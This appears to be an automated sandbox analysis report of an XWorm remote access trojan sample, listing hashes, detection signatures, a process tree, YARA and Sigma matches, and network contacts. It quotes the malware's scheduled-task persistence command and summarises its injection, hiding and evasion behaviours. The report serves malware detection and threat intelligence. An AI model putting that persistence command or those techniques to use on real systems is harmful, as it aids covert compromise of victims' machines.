Edit tour

Windows Analysis Report
r8k29DBraE.exe

Overview

General Information

Sample name:	r8k29DBraE.exe renamed because original name is a hash value
Original sample name:	03c95970bb3d91530aa29f9199ac1b2d7082672909e9c1a30804f99ebc9643b7.exe
Analysis ID:	1533949
MD5:	dc50baff9f1bab10f1ebc24e0d77afc3
SHA1:	29f4429939e57666b8a57c2d7b95a4801fa7ca20
SHA256:	03c95970bb3d91530aa29f9199ac1b2d7082672909e9c1a30804f99ebc9643b7
Tags:	exerentry-couser-JAMESWT_MHT
Infos:

Detection

XWorm

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

System process connects to network (likely due to code injection or exploit)

Yara detected UAC Bypass using CMSTP

Yara detected XWorm

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

AI detected suspicious sample

Allocates memory in foreign processes

Connects to a pastebin service (likely for C&C)

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to inject code into remote processes

Creates a thread in another existing process (thread injection)

Creates files in the system32 config directory

Found direct / indirect Syscall (likely to bypass EDR)

Hooks files or directories query functions (used to hide files and directories)

Hooks processes query functions (used to hide processes)

Hooks registry keys query functions (used to hide registry keys)

Injects a PE file into a foreign processes

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the prolog of user mode functions (user mode inline hooks)

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Yara detected Generic Downloader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain checking for process token information

Found large amount of non-executed APIs

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains executable resources (Code or Archives)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Uncommon Svchost Parent Process

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

r8k29DBraE.exe (PID: 1408 cmdline: "C:\Users\user\Desktop\r8k29DBraE.exe" MD5: DC50BAFF9F1BAB10F1EBC24E0D77AFC3)

wzcsapi.exe (PID: 6880 cmdline: "C:\Users\user\Desktop\wzcsapi.exe" MD5: 64FFE7C0FA6AC22F5ACAFD3CEB4ACA5B)

schtasks.exe (PID: 7308 cmdline: "C:\Windows\System32\schtasks.exe" /create /f /sc minute /mo 1 /rl highest /tn "wzcsapi" /tr "%Current%\wzcsapi.exe" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 7316 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wzcsvc.exe (PID: 5480 cmdline: "C:\Users\user\Desktop\wzcsvc.exe" MD5: A69C6E092D415063A9FB80F8FE4E3444)

svchost.exe (PID: 6108 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 6208 cmdline: C:\Windows\system32\WerFault.exe -pss -s 432 -p 1408 -ip 1408 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

winlogon.exe (PID: 556 cmdline: winlogon.exe MD5: F8B41A1B3E569E7E6F990567F21DCE97)

lsass.exe (PID: 632 cmdline: C:\Windows\system32\lsass.exe MD5: A1CC00332BBF370654EE3DC8CDC8C95A)

svchost.exe (PID: 7240 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 2524 cmdline: C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 912 cmdline: C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

dwm.exe (PID: 976 cmdline: "dwm.exe" MD5: 5C27608411832C5B39BA04E33D53536C)

svchost.exe (PID: 356 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 704 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 932 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1044 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1064 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1080 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1188 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1212 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1344 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s nsi MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1376 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1388 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7640 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1400 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1436 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1520 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1636 cmdline: C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1668 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1752 cmdline: C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1760 cmdline: C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1804 cmdline: C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1852 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1952 cmdline: C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1976 cmdline: C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 1992 cmdline: C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 7180 cmdline: C:\Windows\system32\WerFault.exe -u -p 1408 -s 1088 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000001.00000002.1595934770.000002611005F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000001.00000002.1598581961.000002616E806000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000003.00000002.2674092147.000000001BEE0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000003.00000002.2674092147.000000001BEE0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000003.00000002.2674092147.000000001BEE0000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x661c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x66b9:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x67ce:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x648c:$cnc4: POST / HTTP/1.1
00000003.00000002.2644119365.00000000028C1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000003.00000002.2644119365.00000000028C1000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x148ac:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x407f4:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x14949:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x408ac:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x14a5e:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x409dc:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x1471c:$cnc4: POST / HTTP/1.1
Process Memory Space: r8k29DBraE.exe PID: 1408	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: wzcsapi.exe PID: 6880	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
3.2.wzcsapi.exe.28cf290.1.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
3.2.wzcsapi.exe.28cf290.1.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x481c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x48b9:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x49ce:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x468c:$cnc4: POST / HTTP/1.1
3.2.wzcsapi.exe.1bee0000.2.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
3.2.wzcsapi.exe.1bee0000.2.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x481c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x48b9:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x49ce:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x468c:$cnc4: POST / HTTP/1.1
1.2.r8k29DBraE.exe.2616e7b0000.10.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
3.2.wzcsapi.exe.28cf290.1.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
3.2.wzcsapi.exe.28cf290.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
3.2.wzcsapi.exe.28cf290.1.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x661c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x32564:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x66b9:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x3261c:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x67ce:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x3274c:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x648c:$cnc4: POST / HTTP/1.1
3.2.wzcsapi.exe.1bee0000.2.raw.unpack	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
3.2.wzcsapi.exe.1bee0000.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
3.2.wzcsapi.exe.1bee0000.2.raw.unpack	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x661c:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x66b9:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x67ce:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x648c:$cnc4: POST / HTTP/1.1
Click to see the 6 entries

Sigma Signatures

System Summary

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\wzcsvc.exe" , ParentImage: C:\Users\user\Desktop\wzcsvc.exe, ParentProcessId: 5480, ParentProcessName: wzcsvc.exe, ProcessCommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, ProcessId: 6108, ProcessName: svchost.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\wzcsvc.exe" , ParentImage: C:\Users\user\Desktop\wzcsvc.exe, ParentProcessId: 5480, ParentProcessName: wzcsvc.exe, ProcessCommandLine: C:\Windows\System32\svchost.exe -k WerSvcGroup, ProcessId: 6108, ProcessName: svchost.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: r8k29DBraE.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\Desktop\wzcsapi.exe	Avira: detection malicious, Label: TR/Dropper.Gen
Source: C:\Users\user\Desktop\wzcsvc.exe	Avira: detection malicious, Label: HEUR/AGEN.1362795

Multi AV Scanner detection for dropped file

Source: C:\Users\user\Desktop\wzcsapi.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\Desktop\wzcsvc.exe	ReversingLabs: Detection: 87%

Multi AV Scanner detection for submitted file

Source: r8k29DBraE.exe

ReversingLabs: Detection: 66%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.6% probability

Machine Learning detection for dropped file

Source: C:\Users\user\Desktop\wzcsapi.exe	Joe Sandbox ML: detected
Source: C:\Users\user\Desktop\wzcsvc.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: r8k29DBraE.exe

Joe Sandbox ML: detected

Exploits

Yara detected UAC Bypass using CMSTP

Source: Yara match	File source: 1.2.r8k29DBraE.exe.2616e7b0000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000002.1595934770.000002611005F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1598581961.000002616E806000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: r8k29DBraE.exe PID: 1408, type: MEMORYSTR

Source: unknown	HTTPS traffic detected: 104.26.2.16:443 -> 192.168.2.7:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 169.197.85.95:443 -> 192.168.2.7:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.19.58.157:443 -> 192.168.2.7:52493 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.19.58.157:443 -> 192.168.2.7:52495 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.19.58.157:443 -> 192.168.2.7:52497 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.19.58.157:443 -> 192.168.2.7:52500 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.19.58.157:443 -> 192.168.2.7:52504 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.19.58.157:443 -> 192.168.2.7:52509 version: TLS 1.2

Source: r8k29DBraE.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: System.Windows.Forms.ni.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Drawing.ni.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Xml.ni.pdbP source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WERE551.tmp.dmp.8.dr
Source:	Binary string: "@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: svchost.exe, 00000015.00000000.1433048266.000001A9EB82B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2634750925.000001A9EB82B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: System.Drawing.ni.pdbRSDS source: WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Xml.ni.pdbRSDS# source: WERE551.tmp.dmp.8.dr
Source:	Binary string: Microsoft.VisualBasic.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Core.ni.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: svchost.exe, 00000015.00000000.1433048266.000001A9EB82B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000002.2634750925.000001A9EB82B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: System.Drawing.ni.pdb$ source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.ni.pdbRSDS source: WERE551.tmp.dmp.8.dr
Source:	Binary string: mscorlib.ni.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: &@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000015.00000002.2636546216.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434101282.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831le.js source: svchost.exe, 00000015.00000002.2636546216.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434101282.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: $@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2 source: svchost.exe, 00000015.00000002.2636546216.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434101282.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: @\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000015.00000002.2636546216.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434101282.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb\2 source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: gs.pdb'E source: WerFault.exe, 00000008.00000002.1585866335.00000265B1A0B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000015.00000002.2635721710.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434010255.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: (@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb* source: svchost.exe, 00000015.00000002.2636546216.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434101282.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdbRSDScUN source: WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Configuration.ni.pdbD source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: gs.pdb source: WerFault.exe, 00000008.00000002.1585866335.00000265B1A0B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.ni.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Xml.ni.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: System.ni.pdbRSDS source: WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Drawing.pdbHt' source: WERE551.tmp.dmp.8.dr
Source:	Binary string: mscorlib.ni.pdbLe: source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ,@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000015.00000002.2635721710.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434010255.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: System.Configuration.ni.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Core.pdb@ source: WERE551.tmp.dmp.8.dr
Source:	Binary string: \??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: svchost.exe, 00000015.00000002.2635721710.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434010255.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: Microsoft.VisualBasic.ni.pdbRSDS& source: WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Configuration.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: System.pdbMZ source: WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Xml.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: System.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: &@\??\C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb source: svchost.exe, 00000015.00000002.2635721710.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434010255.000001A9EB842000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: .@\??\C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: svchost.exe, 00000015.00000002.2636546216.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000015.00000000.1434101282.000001A9EB85B000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
Source:	Binary string: System.Core.ni.pdb$g source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: WerFault.exe, 00000008.00000002.1587126223.00000265B3F90000.00000004.00000001.00020000.00000000.sdmp, WERE551.tmp.dmp.8.dr
